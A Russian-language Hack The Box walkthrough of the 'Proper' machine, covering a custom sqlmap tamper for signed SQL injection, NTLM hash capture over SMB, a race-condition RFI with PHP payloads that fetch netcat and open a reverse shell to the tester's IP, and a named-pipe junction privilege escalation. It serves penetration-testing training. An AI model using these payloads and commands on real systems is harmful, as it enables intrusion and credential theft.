Хакер - HTB Proper. Пишем tamper для sqlmap и эксплуатируем race condition через RFI
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веб-контента
- Точка входа
- Точка опоры
- Уязвимость RFI
- Утечка хеша NTLM
- Уязвимость race condition
- Локальное повышение привилегий
В этой статье мы пройдем машину Proper с Hack The Box. В процессе я покажу, как получить учетные данные к сайту через SQL-инъекцию, написав свой tamper к sqlmap. Далее эксплуатируем race condition через RFI, чтобы получить первоначальный доступ к хосту. Завершим прохождение повышением привилегий через использование именованных каналов скомпрометированной службы.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
IP машины — 10.10.10.231, заносим его в /etc/hosts:
10.10.10.231 proper.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0.
Приступаем к осмотру сайта.

Сканирование веб-контента
На самом сайте зацепиться не за что, поэтому врубаем перебор каталогов.
Справка: сканирование веб-сайта
Сканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite.
Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов.

Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки.

Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл products-ajax.php принимает какие‑то необычные параметры. Закинем этот запрос в Burp Repeater для теста. В таких случаях стоит получить все возможные ответы от сервера при разном количестве параметров и даже их разном значении. Так, если удалить один из параметров, то получаем ошибку, содержащую соль. А если изменить значение любого из параметров, то нам сообщат об обнаружении атаки.


Так как используется соль, параметр h, скорее всего, хеш MD5 от значения параметра order. Если его изменить, это приведет к ошибке, что подтверждает нашу догадку. Чтобы это проверить, нужно попробовать все возможные варианты хеширования с использованием соли. Их можно найти в справке к программе John the Ripper.
john --list=subformats | grep md5

Для определения алгоритма нам нужно создать словарь (word), содержащий строку id desc, и файл с хешем и солью (hash), записанными через знак доллара: hash$salt. Затем перебираем все возможные форматы. Чтобы сделать это быстро, напишем скрипт Bash, который будет парсить формат из вывода справки, а затем применять его в команде брута хеша.
Сначала установим перенос строки в качестве разделителя (IFS), а потом будем в цикле получать каждую строку из справки (переменная entry). Для каждой такой строки (например, Format = dynamic_29 type = dynamic_29: md5(utf16($p))) будем парсить формат:
- Командой
tr -d ' 'удаляем из строки все пробелы (результат:Format=dynamic_29 type=dynamic_29:md5(utf16($p))). - Командой
cut -d '=' -f 3разделяем строку по символу=и получаем третью часть (результат:dynamic_29:md5(utf16($p))). - Командой
cut -d ':' -f 1разделяем строку по символу:и получаем первую часть (результат:dynamic_29).
Затем выполняем перебор по полученному алгоритму (john --format=$format --wordlist=word hash). Так выглядит полный скрипт:
#!/bin/bash
IFS=$'
'
for entry in $(john --list=subformats | grep md5)
do
format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)"
echo -e "\nFormat: $format ---------------------------------\n"
john --format=$format --wordlist=word hash
done

Для формата dynamic_4 (salt + word) перебор закончился успешно. Так мы подтверждаем свое предположение и получаем искомый алгоритм хеширования с использованием соли.

ТОЧКА ВХОДА
Теперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции.
INFO
Темперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env python
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
'''
h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()
return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его sqlmap_tamper.py) нужно разместить в директории /usr/share/sqlmap/tamper, после чего запускаем sqlmap и проверяем, есть ли уязвимость. Нам нужно указать наш темпер в параметре tamper, задать опцию -p для проверки, а также то, что мы не хотим использовать кодирование URL.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper

И мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция --dbs).
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs

Так мы получаем три базы данных: служебная information_schema, тестовая test и, скорее всего, нужная нам база данных приложения — cleaner. Получим все таблицы из базы опцией --tables, а саму базу указываем в параметре -D.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables

В базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица customers. Получим названия столбцов опцией --columns, указав таблицу в параметре -T.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns

Действительно, нашлись учетные данные! Давай получим значения (опция --dump) из столбцов login и passwords. Столбцы указываем через запятую в параметре -C.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump

Извлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат!

ТОЧКА ОПОРЫ
Авторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра theme.

Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру test.


Уязвимость RFI
Как мы видим из текста ошибки, из указанной нами директории подключается файл header.inc (строка 12) с помощью функции file_get_contents, и если в файле отсутствует последовательность символов <? (строка 18), то он добавляется как include (строка 19).
Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить.
Теперь проверим наличие уязвимости remote file inclusion (RFI). Для этого запустим локальный веб‑сервер на основе Python 3, разместим в этой директории файл header.inc с любым содержимым, создадим подпись для запроса файла на нашем сервере и затем выполним запрос.
echo "test" > header.inc
echo -n 'hie0shah6ooNoimhttp://10.10.14.137' | md5sum
python3 -m http.server 80


Утечка хеша NTLM
После выполнения запроса в логах веб‑сервера увидим обращение к файлу header.inc. В ответе опять ошибка — на сервере отключен http://. Давай попробуем протокол SMB, в этом нам поможет скрипт smbserver из пакета impacket. Запустим локальный SMB-сервер, сгенерируем новую подпись и повторим запрос.
echo -n 'hie0shah6ooNoim//10.10.14.137/v' | md5sum
smbserver.py -ip 10.10.14.137 -smb2support v .


Теперь видим уже другую ошибку, а также попытку подключения к нашему SMB-серверу. Скорее всего, проблемы с аутентификацией. В логах сервера мы видим имя пользователя и хеш NTLMv2.

Давай попробуем сбрутить его с помощью hashcat.
web::PROPER:aaaaaaaaaaaaaaaa:62b...00 > hash.txt
hashcat -m 5600 -a 0 hash.txt ~/tmp/tools/rockyou.txt

Теперь снова запустим наш SMB-сервер, но уже с аутентификацией, указав учетные данные целевого пользователя. Затем просто повторим запрос к веб‑серверу.
smbserver.py -ip 10.10.14.137 -username web -password 'charlotte123!' -smb2support v .

На странице отобразилось содержимое файла header.inc с нашего SMB-сервера.
Уязвимость race condition
Теперь, когда все готово, перейдем к атаке race condition. Нужно создать на Bash скрипт, который станет бесконечно переписывать заново значение файла header.inc. Так как полное копирование файла будет быстрее, чем произвольная полная запись в файл, мы сделаем два файла test.txt и shell.txt со следующим содержимым:
# test.txt
test
# shell.txt
<?php system("cmd /c powershell wget http://10.10.14.137/nc64.exe -O C:\\windows\\system32\\spool\\drivers\\color\\nc64.exe"); ?>
А теперь сам скрипт race.sh.
#!/bin/bash
while :; do
cp test.txt header.inc
cp shell2.txt header.inc
done
Запускаем его, не забыв в директории веб‑сервера разместить nc64.exe, и переходим в Burp. Запрос из Burp Repeater пересылаем в Burp Intruder и в настройках задаем тип нагрузки Null Payload и количество потоков — 1.


После запуска атаки нужно наблюдать за логами веб‑сервера и поставить атаку на паузу, как только там появится обращение к файлу nc64.exe.

Так как netcat на сервер уже загружен, перейдем к реверс‑шеллу.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях удобно использовать rlwrap — readline-оболочку, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива — просто выполни apt install rlwrap.
В качестве самого листенера при этом можно использовать широко известный netcat: rlwrap nc -lvp 4321
А теперь изменим файл shell.txt.
<?php system("cmd /c start C:\\windows\\system32\\spool\\drivers\\color\\nc64.exe -e cmd.exe 10.10.14.137 4321"); ?>
Снова запустим скрипт race.sh, продолжим атаку Burp Intruder и остановим, когда в окне листенера появится бэкконнект.

Так мы получаем флаг пользователя.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Я, как обычно, делаю это при помощи скриптов PEASS.
Справка: скрипты PEASS для Windows
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на локальный хост скрипт для Windows.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe
Теперь нужно загрузить его на удаленный хост. Делаем это через уже запущенный веб‑сервер python3 с помощью того же powershell wget. После загрузки необходимо выполнить скрипт.
powershell wget http://10.10.14.137/wpeas.exe -O C:\windows\system32\spool\drivers\color\wpeas.exe
C:\windows\system32\spool\drivers\color\wpeas.exe
Из всего, что я выделил, пока просматривал скрипт, ничего к явному повышению привилегий привести не может. Однако среди запущенных служб есть одна самописная, и этим стоит поинтересоваться.

В директории Program Files находим и директорию службы Cleanup, которая содержит описание, и два исполняемых файла: серверная и клиентская части.

Загрузим оба файла на локальный хост для анализа. В этом может помочь уже загруженный на хост Nmap. Можно использовать машину с Windows, но я работаю в виртуалке, так как основная система — Linux.
Начнем с клиента. Просто запустив его, мы тут же получим ошибку, связанную с именованным каналом \\.\pipe\cleanupPipe. Также обратим внимание на вывод текущего пути.

Если закинуть файл в дизассемблер, то сразу узнаем, что для его создания был использован язык программирования Go. В бинарниках, написанных на Go, выполнение начинается с функции main_main(). Найдем ее в списке функций (он будет очень большой) и перейдем к ее представлению. Там мы можем узнать, что у клиента есть параметр -R (в шестнадцатеричном виде — 522Dh), который принимает команды RESTORE или CLEAN. Если программа запущена без этого параметра, то по умолчанию выполняется CLEAN.

В зависимости от того, какая команда выполняется, может быть вызвана функция main_clean (красный блок) или main_restore (синий блок).

Эти функции нужны для вызова функций main_serviceClean и main_serviceRestore, между которыми лишь небольшое различие. В обеих функциях открывается уже знакомый нам именованный канал.

Затем в обеих функциях происходит отправка команды и введенной пользователем строки, то есть в пайп cleanupPipe пишутся строки CLEAN %s или RESTORE %s, где %s — пользовательский ввод.


Давай проверим полученную информацию. Для этого запустим сервер и передадим в пайп данные как с помощью клиента, так и просто из командной строки.

Можно заметить, что при передаче команды через командную строку обрезается последний символ (вывод сервера в первом и третьем случае одинаков). При этом нам говорят, что соответствующего файла обнаружено не было. О файле речь шла и при самом первом запуске. Давай укажем программе путь к файлу.

Никаких ошибок нет, при этом переданный файл исчез. Так как до этого соответствующий файл программа пыталась найти в директории C:\ProgramData\Cleanup, заглянем в нее.


Мы нашли файл, название которого — это полный путь отправленного нами файла, закодированный Base64. А восстановить этот файл поможет команда RESTORE.

Исходный файл был преобразован и перемещен в директорию Cleanup, а потом восстановлен из нее. Выходит, мы можем получить доступ к любому файлу, если сможем манипулировать путями. Давай сделаем следующее:
- В директории создаем ссылку на директорию админа, тогда
C:\Users\root\Documents\test\будет указывать наC:\Users\root\Desktop\.

- Сохраняем с помощью программы файл по ссылке.

- Так как путь для восстановления файла сохранен в текстовом виде (Base64), мы удаляем ссылку и создаем директорию с таким же именем. Тогда при восстановлении файла он будет сохранен не по ссылке, а в локальную директорию.

Используем этот эксплоит уже на сервере:
mklink /j r_exploit C:\Users\Administrator\Desktop
echo CLEAN C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\cleanupPipe
rmdir r_exploit
mkdir r_exploit
echo RESTORE C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\cleanupPipe
type r_exploit\root.txt

Мы получили флаг рута и захватили машину.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei